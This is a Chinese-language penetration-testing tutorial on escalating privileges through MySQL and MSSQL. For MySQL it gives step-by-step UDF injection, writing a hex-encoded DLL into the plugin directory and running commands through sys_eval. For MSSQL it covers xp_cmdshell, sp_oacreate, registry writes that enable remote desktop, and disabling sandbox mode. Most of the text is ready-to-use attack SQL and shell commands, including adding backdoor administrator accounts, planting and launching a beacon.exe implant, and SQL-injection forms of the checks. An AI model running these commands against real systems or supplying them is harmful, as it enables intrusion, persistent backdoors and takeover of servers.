一、Mysql提权
(1)利用场景
目标主机开启 MySQL远程连接,并且攻击者已经获得MySQL数据库连接的用户名和密码信息,通过UDF手工提权获得操作系统管理员权限。
- 拥有数据库账号密码,可以远程连接数据
- 拥有Webshell,可以连接数据库
- 能够写文件
- 可以操作数据库
如何获取数据库账号密码?
- 找数据库配置文件
- 通过Webshell对数据库进行本地爆破
- Hash获取MySQL密码
(2)UDF提权简介
-
UDF提权
UDF提权指的是利用注入漏洞或其他漏洞获取了数据库操作权限后,通过数据库输出具有提权功能的文件并执行提权操作。 -
UDF介绍
UDF: User Defined Function(用户自定义函数),为用户提供了一种高效创建函数的方式
攻击者编写调用系统 cmd命令( linux下相当于调用shell命令)的udf.dll文件,并将udf.dll导出到指定目录下,攻击者创建一个指向udf.dll的自定义函数 func,每次在数据库查询中执行func函数等价于在cmd命令中执行命令。 -
dll文件存放目录
Windows 2003: C:\windows\目录下
MySQL 5.1 版本后: MySQL安装目录\lib\plugin\目录下
(3)udf.dll
1)lib_mysqludf_sys_32.dll
在 Metasploit framework 里面有
/usr/share/metasploit-framework/data/exploits/mysql/
获取dll文件导出函数:
1.sys_exec
该函数将在“系统”函数内传递参数 args-> args [0]
。你可以使用它在目标机器上执行系统命令。
# 创建
create function sys_exec returns int soname 'udf.dll';
# 验证
select * from mysql.func where name = 'sys_exec';
# 删除
drop function sys_exec;
2.sys_eval
该函数将执行系统命令并在屏幕上通过标准输出显示。
# 创建
create function sys_eval returns string soname 'udf.dll';
# 验证
select * from mysql.func where name = 'sys_eval';
# 使用
select sys_eval('dir');
# 删除
drop function sys_eval;
3.sys_get
该函数使用getenv函数返回系统变量的值。
# 创建
create function sys_get returns string soname 'udf.dll';
# 验证
select * from mysql.func where name = 'sys_get';
# 使用
select sys_get('longonserver');
# 删除
drop function sys_get;
4.sys_bineval
该函数将使用 VirtualAlloc API分配 RWX内存,并使用 strcpy将 args-> args [0]
复制到新分配的内存中。然后,这个缓冲区被传递给 CreateThread API来产生一个新的线程。
# 创建
create function sys_bineval returns int soname 'udf.dll';
# 验证
select * from mysql.func where name = 'sys_bineval';
# 删除
drop function sys_bineval;
# 使用
select sys_bineval(load_file('C:\\calc.b64'));
select sys_bineval(from_base64(load_file('C:\\calc.b64')));
2)k8-udf.dll
查看dll文件导出函数:
- 创建函数
create function 函数名(区分大小写) returns string soname "dll名" (注意路径);
- 删除函数
delete function 函数名;
- 使用函数
select 函数名(参数列表);
- 获取参数信息
select 函数名("help");
- dll包含的函数
cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 关于;
(4)关于MySQL允许远程连接
MySQL默认不允许远程连接,要设置 MySQL以允许远程访问,执行如下命令:
# 连接mysql数据库
mysql -uroot -p
# 执行GRANT授权语句
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root密码';
# 刷新权限
FLUSH PRIVILEGES;
这条命令使用GRANT语句授予 root用户从任何主机远程连接到MySQL服务器的权限,注意需要提供相应的密码。
(5)UDF提权步骤
1)确定操作系统和架构
select @@version_compile_os, @@version_compile_machine;
show variables like '%compile%';
2)查看MySQL安装路径和版本
show variables like '%char%';
select @@datadir;
select version();
3)查看plugin目录路径
select @@plugin_dir;
show variables like '%plugin%';
4)查看是否有写权限
show global variables like '%secure%';
- MySQL写文件
select '111' into dumpfile 'C:\\1.txt';
select '222' into outfile 'C:\\2.txt';
outfile函数:可以导出多行数据
dumpfile函数:只能导出一行数据
outfile函数:在将数据写到文件里时有特殊的格式转换
dumpfile函数:在将数据写到文件里时保持源数据格式
- mysql 的 secure_file_priv 参数
secure-file-priv 参数是用来限制 LOAD DATA,SELECT … INTO OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当 secure-file-priv 的值为NULL,表示限制 mysqld 不允许导入、导出
当 secure-file-priv 的值为 /tmp/,表示限制 mysqld 的导入、导出只能发生在/tmp/目录下
当 secure-file-priv 的值没有具体值时,表示不对 mysqld 的导入、导出做限制
查看secure-file-priv 参数的值:
show global variables like '%secure%';
此开关默认为 NULL,即不允许导入导出。
- 设置 secure_file_priv 参数:
Windows: 修改 my.ini 在[mysqld]
内加入secure_file_priv=
,重启 mysql
Linux:修改 my.cnf 在[mysqld]
内加入secure_file_priv=
,重启 mysql
5)创建临时表
create table udftemp(data BLOB);
尝试创建一个名为 udftemp 的表和一个名为 data 的列,列的数据类型是 BLOB。
BLOB 全称为 Binary Large Objects,通常用于存储大型二进制对象
或者
create table udftemp(data longblob);
6)将dll内容转为十六进制
可以通过 MySQL的 hex函数将 dll文件二进制数据转为十六进制数据,并保存到udf.txt文件中
select hex(load_file('C:\\udf.dll')) into dumpfile 'C:\\udf.txt';
或者使用cyberchef
导入文件,使用to hex
,将Delimiter(分隔符)改为NONE
注意:MYSQL使用的是32位的dll文件。
7)将dll文件内容插入表中
将udf.dll二进制数据插入临时表 udftemp中
insert into udftemp(data) values (0x+udf.txt中的值);
8)将dll导出到plugin目录
将 udf.dll导出到 MySQL安装目录下的 lib/plugin/udf.dll文件中
select data from udftemp into dumpfile "C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll";
如果没有plugin目录,需要自己创建
9)创建函数
create function sys_eval returns string soname 'udf.dll';
10)执行命令
select sys_eval('whoami');
11)添加管理员用户
select sys_eval('net user udftest 123456 /add & net localgroup administrators udftest /add');
select sys_eval('net localgroup administrators')
(6)命令执行反弹shell
# 创建临时表
create table beacon(data longblob);
# 转换beacon.exe二进制内容为十六进制
select hex(load_file('C:\\beacon.exe')) into dumpfile 'C:\\beacon.txt';
# 将16进制beacon文件写入beacon表
insert into beacon(data) values (0x+beacon.txt中的值);
# 写入beacon.exe
select data from beacon into dumpfile "C:\\beacon.exe";
# 利用创建的命令执行函数执行beacon.exe(使用高权限执行)
select sys_eval('start c:\\beacon.exe')
(7)MSF利用
exploit/multi/mysql/mysql_udf_payload
二、MSSQL提权
(1)MSSQL角色用户权限
权限等级 | 角色 | 描述 |
---|---|---|
1 | bulkadmin | 可以运行BULKINSERT语句,该语句允许从文本文件中将数据导入到SQL Server2008数据库 |
2 | dbcreator | 可以创建,更改,删除和还原任何数据库,不仅适合助理DBA角色,也可能适合开发人员角色 |
3 | diskadmin | 用于管理磁盘文件,比如镜像数据库和添加备份设备 |
4 | processadmin | SQL Server 2008可以同时多进程处理,这个角色可以结束进程 |
5 | public | 初始状态时没有权限,所有数据库用户都是它的成员 |
6 | securityadmin | 管理登录名及其属性,可以授权,拒绝和撤销服务器级/数据库级权限,可以重置登录名和密码 |
7 | serveradmin | 可以更改服务器范围的配置选项和关闭服务器 |
8 | setupadmin | 为需要管理联接服务器和控制启动的存储过程的用户而设计 |
9 | sysadmin | 这个角色有权在SQL Server2008中执行任何操作 |
(2)MSSQL常用命令
# 查看数据库版本
select @@version
# 查看数据库系统参数
exec master..xp_msver;
# 查看用户所属角色信息
sp_helpsrvrolemember
# 查看当前数据库
select db_name();
# 查看当前账户权限
select IS_SRVROLEMEMBER('sysadmin') #判断是否为sa权限
select IS_MEMBER('db_owner') #判断是否为dba权限
# 禁用advanced options
exec sp_configure 'show advanced options',0;GO RECONFIGURE;
(3)xp_cmdshell
1)简介
xp_cmdshell 扩展存储过程,可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。
注意:
SQL Server 2000 中默认是开启的
SQL Server 2005 中默认是不开启的
2)基本使用
exec master..xp_cmdshell "dos命令";
如:
exec master..xp_cmdshell "ver"
3)提权利用
1.判断用户权限
只有 sysadmin 组的用户才能执行 xp_cmdshell
select IS_SRVROLEMEMBER ('sysadmin')
返回结果为1表明当前用户在 sysadmin 组
注入形式:
and (select IS_SRVROLEMEMBER ('sysadmin'))=1--
2.判断是否存在xp_cmdshell
判断数据库中是否存在 xp_cmdshell 组件,返回结果为1表明组件存在
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'
注入形式:
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
3.检测 xp_cmdshell 是否启用
尝试通过 xp_cmdshell 执行命令,检测xp_cmdshell是否启用
exec master..xp_cmdshell "ver";
如果服务未开启,执行 xp_cmdshell 将会提示如下的内容
4.启用 xp_cmdshell
系统管理员可以通过使用 sp_configure 启用 xp_cmdshell
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
此时即可通过 xp_cmdshell 执行系统命令
5.执行系统命令添加用户
创建用户
exec master..xp_cmdshell "net user name password /add"
添加用户到管理组
exec master..xp_cmdshell "net localgroup administrators name /add"
(4)sp_oacreate
1)简介
在 xp_cmdshell 被删除或者出错情况下,可以充分利用 sp_oacreate 进行提权。
利用OLE对象接口,SQL Server提供了一些函数访问 OLE对象,分别是 sp_oacreate 和sp_oamethod,可利用它们调用 OLE控件,间接获取一个shell
2)利用
1.判断是否存在 sp_oacreate
判断数据库中是否存在 sp_oacreate 组件,返回结果为1表明组件存在
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'sp_oacreate';
2.检测 sp_oacreate 是否启用
尝试通过 sp_oacreate 执行命令,检测 sp_oacreate 是否启用
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user';
3.启用组件
系统管理员可以通过使用 sp_configure 启用 sp_oacreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ole Automation Procedures',1;reconfigure;
4.添加用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user zhangsan 123456 /add' --
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators zhangsan /add' --
5.执行命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\1.txt' --
3)wscript.shell
在SQL Server 2008和SQL Server 2000上都适用
# 声明一个变量
declare @shell int;
# 使用sp_oacreate调用wscript对象
exec sp_oacreate 'wscript.shell',@shell output;
# 使用sp_oamethod调用变量的属性run执行系统命令
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';
4)Shell.Application
SQL Server 2008不可用, SQL Server 2000可用
# 添加用户 test/test
declare @o int exec sp_oacreate 'Shell.Application', @o out exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user test test /add','c:\windows\system32','','1';
(5)xp_regread
1.是否开启远程桌面
1表示关闭,0表示开启
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'
2.读取远程桌面端口
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
3.开启远程桌面
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
4.关闭远程桌面
EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
(6)沙盒模式
只有 windows xp和 windows 2003可用
沙盒模式是数据库的一种安全功能,在沙盒模式下,只对控件和字段属性中的安全且不含恶意代 码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全 的。
无法执行命令时, xp_regwrite 可用
- 启用Ad Hoc Distributed Queries
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure
- 读取SandBoxMode(可选)
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';
SandBoxMode参数含义(默认是2)
0:在任何使用者中禁止启用安全模式
1:仅在允许范围内
2:必须在access模式下
3:完全开启
- 关闭沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
- 执行系统命令
# 添加用户 test/test
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test test /add")');
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")');
# 执行whoami命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")');